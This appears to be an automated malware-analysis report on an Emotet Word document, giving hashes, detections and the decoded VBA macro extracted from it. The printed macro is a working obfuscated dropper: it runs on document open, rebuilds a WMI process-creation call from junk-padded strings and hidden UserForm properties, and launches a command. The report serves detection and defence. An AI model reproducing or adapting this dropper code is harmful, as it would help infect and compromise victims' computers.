Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 a6ce3b9c522d36ac…

MALICIOUS

Office (OLE)

172.3 KB Created: 2020-07-20 15:34:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 3c81d69bcd142b6dad9c3b4f26e0f3ec SHA-1: e0f06cf50c505e2a5aebe3149a4ba7a5440184de SHA-256: a6ce3b9c522d36ac4e91cf8e2cf1581bc9d7e6548f1e66ff998e11662f6894cb
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Dropper.EmotetIOS-9402070-0', indicating it's a known Emotet variant. Critical heuristics confirm the presence of a hidden UserForm command stager within the VBA macros, designed to execute code. The Document_Open macro is triggered automatically, and the VBA code constructs a URL using string concatenation and potentially other obfuscation techniques, which is then passed to a function likely responsible for downloading and executing a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10437 bytes
SHA-256: 8c80a0df3073fbf2e23a08763c318989c716aaa900c2283e939d8c2c3634ad66
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "xais"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
huunnaed
End Sub


Attribute VB_Name = "reap"
Attribute VB_Base = "0{76B5922C-1F80-45BE-ACE4-163D24236D34}{44A3FA21-199A-4E10-8FD6-007D2DE3C8F2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "lorthoosteaqurioththeeb"
Function huunnaed()
xoulxajmouywaithmouh = Chr(reap.Zoom + 1 + 4 + 10)
Dim BiW1Oujj As Integer
For BiW1Oujj = 3 To 5 + 5
DoEvents
Next BiW1Oujj
xoommuadkawbuuhweex = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + xoulxajmouywaithmouh + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + reap.loaquthiylir + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
Dim nKrPwX As String
nKrPwX = Replace$("Udglq1UXLnYV", "Udg", "RThCMP8ArHN")
thoozdic = puptiepqueitquioykomroth(xoommuadkawbuuhweex)
Dim W1UISOnXMLB As String
W1UISOnXMLB = Replace$("NZ5Ef7AalhQpm", "NZ5Ef7Aal", "ORJ6AXQ")
Set ceozthoagleuthjalloulwoy = CreateObject(thoozdic)
Dim mJTY As String
mJTY = Replace$("R1UBv0I3EbyyEVsZjgG", "R1UBv0I3Eby", "iei2IY")
yeibthoej = reap.piosliahnaiyzobreursoeb.ControlTipText
Dim vFktbhVi As String
vFktbhVi = Replace$("feUfrMGIX1?cBi", "feU", "Qlu")
gexviochzeathuuyjabtoik = thoozdic + xoulxajmouywaithmouh + reap.vathkeokquiotmohkuuc.ControlTipText + yeibthoej
Dim jbqvN3A7Cr As Byte
yeak = gexviochzeathuuyjabtoik + reap.loaquthiylir
Dim yuklqG As Date
Set meochjoichxeaxkuuwloeb = xauzfeih(yeak)
Dim DQk As Object
s = Array(nba, ceozthoagleuthjalloulwoy. _
Create(wirfoudseev, houquyaodrouymuab, meochjoichxeaxkuuwloeb))
Dim Xw3I8IKy1Nw As Byte
Dim UmSF As Currency
End Function
Function xauzfeih(neadmeoxneov)
Set xauzfeih = CreateObject(neadmeoxneov)
Dim VvSORugs As Integer
For VvSORugs = 2 To 3 + 3
DoEvents
Next VvSORugs
xauzfeih _
. _
showwindow = (thiev + leityeuxniaxbaelwoompoay) + (weovtoffiezsolfoefthair + vopheudjeicseorlexqueev)
Dim YITX As String
YITX = Replace$("Q7IA8ED3EbuuD3NBG", "Q7IA8ED3Ebu", "SFo5UhLvJ")
Dim vEWs4OTUh As String
vEWs4OTUh = Replace$("edUfrLGtW1IbAi", "edU", "Q6Is")
End Function
Function puptiepqueitquioykomroth(zuuth)
viefneyxeebchuafkailquiah = zuuth
Dim KmJU As Double
quoejyauphaopjoath = Split(viefneyxeebchuafkailquiah, "*6723tguT&^$^RFy23uikJGD")
Dim FgCvBs As Integer
For FgCvBs = 1 To 4 + 8
DoEvents
Next FgCvBs

vitgaonpuachcheec = vVXqw + Join(quoejyauphaopjoath, vVXqw)
Dim iVvSORugs As Byte
puptiepqueitquioykomroth = vitgaonpuachcheec
Dim fv1OYVoT As String
fv1OYVoT = Replace$("HEedUUZ7EwGlubAiI", "HEedUUZ7E", "kuwcN")
End Function
Function wirfoudseev()
opo = reap.zoudteowtheawquuan.Pages(1).ControlTipText
Dim XK6IihX4a As Integer
For XK6IihX4a = 3 To 7 + 6
DoEvents
Next XK6IihX4a

wirfoudseev = puptiepqueitquioykomroth(opo)
Dim CJbwfpl2a As Byte
End Function


' Processing file: /opt/analyzer/scan_staging/78478fd5bdb344bb9da470146efc75dc.bin
' ===============================================================================
' Module streams:
' Macros/VBA/xais - 1347 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub xais())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' 
... (truncated)